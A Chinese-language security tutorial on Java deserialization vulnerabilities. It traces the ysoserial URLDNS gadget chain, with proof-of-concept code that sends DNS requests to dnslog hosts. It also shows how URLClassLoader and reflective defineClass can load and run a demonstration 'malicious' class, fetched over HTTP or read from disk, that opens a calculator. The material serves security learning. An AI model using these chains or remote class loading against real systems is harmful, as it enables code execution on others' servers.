Java反序列化介绍:
序列化(Serialization):把Java对象转换为字节序列的过程。
反序列化(DeSerialization):把字节序列恢复为Java对象的过程。
其中有两个重要的方法:writeObject和readObject。序列化时需要使用writeObject将对象转化为字节流,反序列化需要使用readObject将字节流转化为对象。
反序列化基础操作
打开idea,创建项目,新建一个 Person 类,创建一些属性和方法(注:要想对类进行序列化操作,需要实现 Serializable 类)

新建一个 Serialization 类,代码中调用 writeObject 方法进行序列化操作,运行后会生成一个名为 ser.bin 的序列化文件

新建一个 Unserialization 类,调用 readObject 方法对 ser.bin 文件内容进行反序列化操作,然后输出反序列化后的对象

反序列化漏洞原理
根据上面的例子,可见完成序列化和反序列化离不开两个重要的方法 writeObject 和 readObject ,这两个方法可以经过开发者重写,一般序列化的重写都是由于下面这种场景诞生的。
只要服务端反序列化数据,客户端传递类的 readObject 中代码会自动执行,基于攻击者在服务器上运行代码的能力。
漏洞利用条件
- 大前提:参与序列化的所有类都继承了
Serializable,即所有类都是可序列化的
- 入口类重写了
readObject()方法,且其参数类型宽泛,并且是 jdk自带的
- 构造调用链
- 执行类 (RCE、SSRF、读写文件等)
产生安全问题的形式
- 入口类的
readObject()中调用了危险方法
- 入口类参数中包含可控类,该类调用
readObject()时会触发危险方法
- 入口类参数中包含可控类,该类
readObject()时调用其他类,其他类继续调用另一个类(套娃),直到有一个类调用了危险方法 (正常情况下反序列化漏洞的利用方法)
- 构造函数/静态代码块等类加载时隐式执行
接下来对每种形式进行举例讲解:
1.入口类的 readObject 直接调用危险方法
这种情况不太可能出现,但还是讲一下原理
在Person类中重写 readObject 方法,调用 Runtime.getRuntime().exec() 执行计算器

进行序列化操作,生成ser.bin文件,对ser.bin文件反序列化时会调用重写的 readObject 方法,从而执行计算器

1 2 3
| 原理: 1、在Java中,当一个类实现了Serializable接口并且重写readObject方法时,该方法会在对象进行反序列化时被调用。 2、由于在Person类中实现了Serializable接口,并且重写了readObject方法,所以在反序列化时调用ois.readObject()会触发Person类的readObject方法。
|
一般不会有程序员这么写…
2.入口类参数中包含可控类,该类有危险方法,readObject 时调用
toSting 方法:当使用 System.out.println() 打印对象时,实际上会调用该对象的 toString 方法来获取字符串表示形式
在Person类中重写 toString 方法,调用计算器

进行序列化操作,生成ser.bin文件,对ser.bin文件反序列化时会调用重写的 toString 方法,从而执行计算器

1 2 3
| 原理: 1、obj是通过反序列化得到的,其类型是Person,而Person类中重写了toString方法,所以在打印时会调用Person类的toString方法。 2、由于toString方法包含了执行Runtime.getRuntime().exec("calc")的代码,导致计算器弹出。
|
但这本身其实是由于打印对象时造成的安全问题,和反序列化并没有太大关系,
只是想说如果对方在反序列化的时候同时打印了对象,那么这里也可以成为一个利用点。
3.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
这里使用 URLDNS反序列化链 进行分析
URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
URLDNS反序列化链复现:
利用 ysoserial-0.0.6-SNAPSHOT-all.jar 工具生成一个序列化数据
链接:https://github.com/Y4er/ysoserial

创建一个 UnseriaTest 类,对 urldns.txt 文件进行反序列化操作,urldns.txt需要放到项目目录下

dnslog成功收到请求

URLDNS反序列化链分析:
根据 ysoserial 中列出的 Gadget 进行分析:
1 2 3 4 5
| * Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode()
|
具体流程就是:java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode,而传入 java.net.URL 类的时候会调用 URL.hashCode() ,URL.hashCode() 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求
HashMap#readObject:
代码中敲一个 HashMap (HashMap 是 Java 中一种常用的数据结构,用于存储键值对,它基于哈希表实现,可以高效地存储和检索数据),然后ctrl+鼠标点过去,搜索一下重写的 readObject 方法

代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE);
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab;
for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
|
前面不懂可以不看,重点在putVal方法
HashMap.putVal():
putVal是往HashMap中放入键值对的方法,putVal 里调用了hash方法来处理key
1 2 3 4 5 6 7
| for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); }
|
HashMap.hash():
跟进hash方法,这里又调用了key.hashcode方法,根据调用链来看,传入的是 key 值是URL 对象,所以调用的是 URL.hashCode()
1 2 3 4
| static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
|
URL#hashCode:
那么跟进到这个 URL 类的 hashCode() 方法看下,导入一个URL类,ctrl+鼠标点过去,搜索 hashCode() 方法
1 2 3 4 5 6 7
| public synchronized int hashCode() { if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); return hashCode; }
|
判断如果 hashCode 不为-1,那么直接返回了,代码中 hashCode 是通过private关键字进行修饰的赋值为-1,所以会执行下一步进行handler.hashCode(this)

查看 handler.hashCode(this) 方法的定义,重点关注这里的 getHostAddress 方法,正是这步触发了dns请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| protected int hashCode(URL u) { int h = 0;
String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode();
InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); }
String file = u.getFile(); if (file != null) h += file.hashCode();
if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort();
String ref = u.getRef(); if (ref != null) h += ref.hashCode();
return h; }
|
查看 getHostAddress 方法的定义如下,其中 InetAddress.getByName(host) 会进行dns查询:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress; }
|
Poc验证:
以上是根据 ysoserial 中列出的 Gadget 进行的分析,接下来尝试写一个 poc 验证一下

代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package org.example;
import java.io.IOException; import java.io.ObjectOutputStream; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class Main { public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException { HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://2miwqz.dnslog.cn"); hashMap.put(url,"123"); serialize(hashMap); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("urldns.bin"))); oos.writeObject(obj); } }
|
在这里发现问题,在进行序列化的时候就已经收到了dns的请求,这是因为给 hashMap 传值是调用了其 put 方法,put方法中调用了前面的 putVal 方法,之后调用 hashCode 方法,进行了dns请求

跟一下 hashMap.put 方法,这里调用了 putVal 方法,putVal 又调用了 hash 方法,就会走到前面跟链的结果,从而请求dns:

所以为了避免在序列化时就进行dns请求,这里可以使用反射的方式,先将 hashcode 的值设置为不是-1的值,这样就不会执行 handler.hashCode() 方法了,从而不进行dns请求

关于反射的机制可以在这个链接中了解一下:https://javasec.org/javase/Reflection/Reflection.html
通过使用反射可以获取到任何类的成员方法、成员变量、构造方法等信息,还可以修改任意的类成员变量值等,这里直接利用反射修改 hashCode 的值即可
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example;
import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class Main { public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException { HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://s91yp7.dnslog.cn"); Class<? extends URL> urlClass = url.getClass(); Field hashCode = urlClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,123); hashMap.put(url,"123"); hashCode.set(url,-1); serialize(hashMap); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("urldns.bin"))); oos.writeObject(obj); } }
|
这样进行序列化就不会发送dns请求了
之后对序列化后的文件 urldns.bin 进行反序列化
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package org.example;
import java.io.IOException; import java.io.ObjectInputStream; import java.nio.file.Files; import java.nio.file.Paths;
public class Unserialization { public static void main(String[] args) throws IOException, ClassNotFoundException { unserialize("urldns.bin"); } public static void unserialize(String Filename) throws IOException, ClassNotFoundException, IOException { ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename))); ois.readObject(); } }
|
同时 dnslog 接收到了反序列化时的dns请求

ClassLoader(类加载机制)
类加载过程
先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行。
类加载的流程如下图:

其中初始化阶段是会执行代码的,使用阶段就是创建对象,也会执行代码
构造函数和静态代码块
在Person类中创建一个静态代码块(不管调用哪种静态代码,都会调用静态代码块)和构造代码块(不管调用哪种构造方法,都会调用构造代码块)
1 2 3 4 5 6 7 8 9 10
| package org.example;
public class Person { static { System.out.println("静态代码块"); } { System.out.println("构造代码块"); } }
|
当创建对象时,发现两个代码块都被输出了,由此可见在使用阶段两种代码块都调用了

接下来分析一下哪个是在初始化阶段调用的,哪个是在使用阶段调用的
在Person类中加上一个静态变量id,给变量赋值时发现只调用了静态代码块,说明静态代码块是在初始化阶段就执行了


通过 Class.forName 动态加载Person类,发现调用了静态代码块,说明 Class.forName 加载时对类进行了初始化

也可以让类加载的时候不进行初始化,跟踪一下 Class.forName 方法:
代码里return了一个 forName0 方法

跟着看一下这个方法,发现这个方法是native定义的,是c/c++写的,其中有四个参数,第一个是类名,第二个是判断是否进行初始化,第三个是 ClassLoader 是个类加载器,第四个参数不重要

在 Class.forName 中可以看到判断初始化的参数默认传的是true

可以手动让其加载类时不进行初始化,其中第三个参数由于需要传递一个类加载器,可以通过 ClassLoader.getSystemClassLoader() 方法获取一个系统类加载器
1 2 3 4 5 6 7 8 9 10 11
| package org.example;
public class Main { public static void main(String[] args) throws ClassNotFoundException {
ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class.forName("org.example.Person",false,classLoader); } }
|
执行后发现没有输出静态代码块,说明没有进行初始化

双亲委派机制
前面代码是通过 ClassLoader.getSystemClassLoader() 方法来获取的系统类加载器,这里输出查看一下,得到结果是 AppClassLoader

Java中提供了这四种类型的加载器:
- Bootstrap ClassLoader 引导类加载器,是最基本的类加载器,也就是系统类加载器,加载的是 java.lang 下的类,它是ExtClassLoader的父类加载器
- Extention ClassLoader 扩展类加载器,用来加载ext目录下的类库的,ExtClassLoader是AppClassLoader的父类加载器
- Application ClassLoader 系统类加载器,主要负责加载当前应用的 classpath 下的所有类,平常使用的大部分都是通过这个类加载器加载的
- classpath 实际上就是系统变量java.class.path的值

- User ClassLoader 自定义类加载器,用户自定义的类加载器,可加载指定路径的class文件
双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。
注意:双亲委派机制只是一种逻辑的指向,并不是真正的继承关系

任意类加载
这里跟踪一下类加载器的底层原理,实现加载任意的类,从而实现任意类加载漏洞利用
跟踪前需要对jdk的 rt.jar 进行反编译一下,这样可以更清晰的看到代码逻辑,反编译流程可以看一下这个连接https://blog.csdn.net/yangyangrenren/article/details/117554745
加载Person类为例
在类加载地方打上断点,单机调试按钮

单机强制步入(shift+alt+f7),走到了 ClassLoader 抽象类下的 loadClass 方法(抽象类无法实例化,需要被继承才能被使用)

由之前分析得知,我们使用的是 AppClassLoader,所以调用的是 AppClassLoader 的 loadClass方法,这里调用了 super.loadClass

继续跟进,代码又回到了 ClassLoader 类里面,在这里查询了parent加载器是否为null,结果为null的话就再往下慢慢去找.(parent加载器:请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。父类加载不了所以为null)

走到 findClass 方法,会进入到URLclassloader里,这是因为Appclassloader中没有findClass方法,URLclassloader是Appclassloader类的父类,所以走到了URLclassloader

跟一下URLclassloader的findClass方法,方法中最后会调用一个 defineClass 方法,实际上就是在这个方法里完成了类的加载

跟一下这个 defineClass,代码中调用了另一个defineClass方法,继续跟进

到了URLclassLoadr的父类SecureClassLoader的defineClass方法

继续跟进,发现回到了最开始的 ClassLoader 类的defineClass方法,代码中调用了一个defineClass1方法,跟着看一下这个方法

发现是三个native方法,传一个类名,传个字节码,最终就是在这里加载了字节码

最后再一层一层的返回回去
从结果分析这几个类的父子关系是ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer
方法调用关系是loadClass->findClass->defineClass(从字节码加载类)
通过URLclassloader加载任意类
上面分析了 URLclassloader,这个类还可以通过url来加载任意类
首先本地起一个http服务,目录下有准备好的恶意类文件

编写代码,利用URLClassLoader 通过http来加载执行Calc.class类
1 2 3 4 5 6 7 8 9 10 11
| import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1/")}); Class<?> aClass = urlClassLoader.loadClass("Calc"); aClass.newInstance(); } }
|
成功加载了恶意类


可以看到URLclassLoader可以加载class文件,除了http之外还可以用别的协议,比如file协议,jar协议等等
通过defineClass反射加载任意类
前面分析得知,最终加载类的字节码是用的 Classloader.defineClass 方法,这里通过反射来调用 defineClass 方法加载任意类,只需要以字节码的形式传入即可
编写代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class Main { public static void main(String[] args) throws InstantiationException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("/home/Simply/Test/Calc.class")); Class calc = (Class)defineClass.invoke(classLoader, "Calc", bytes, 0, bytes.length); calc.newInstance(); } }
|
成功弹出计算器
